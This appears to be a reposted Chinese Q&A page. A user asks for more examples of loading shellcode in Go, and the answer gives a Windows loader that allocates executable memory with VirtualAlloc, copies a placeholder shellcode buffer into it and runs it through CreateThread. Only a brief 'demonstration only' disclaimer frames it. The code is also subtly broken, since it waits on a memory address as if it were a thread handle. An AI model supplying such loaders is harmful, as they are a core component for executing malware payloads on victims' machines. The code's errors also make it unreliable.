有其他不同go语言加载shellcode类型的例子举例再举例五个package mainimport syscall unsafefunc main shellcode = byteshellcode allocatedMemory _ _ = syscallSyscall6syscallNewLazyDLLkernel32dllNewProcVirtualAllocAddr 4 0 uint
以下是另一种使用Go语言加载Shellcode的示例:
package main
import (
"syscall"
"unsafe"
)
func main() {
shellcode := []byte(<shellcode>)
processHandle, _ := syscall.GetCurrentProcess()
kernel32, _ := syscall.LoadLibrary("kernel32.dll")
virtualAlloc, _ := syscall.GetProcAddress(kernel32, "VirtualAlloc")
allocatedMemory, _, _ := syscall.Syscall6(uintptr(virtualAlloc), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
syscall.WaitForSingleObject(syscall.Handle(allocatedMemory), syscall.INFINITE)
}
这个示例与之前的示例类似,只是在加载VirtualAlloc函数时使用了syscall.LoadLibrary和syscall.GetProcAddress来获取函数地址。其他部分与之前的示例相同。
请注意,这些示例仅用于演示目的,实际使用时需要加入适当的错误处理和安全措施
原文地址: https://www.cveoy.top/t/topic/hN46 著作权归作者所有。请勿转载和采集!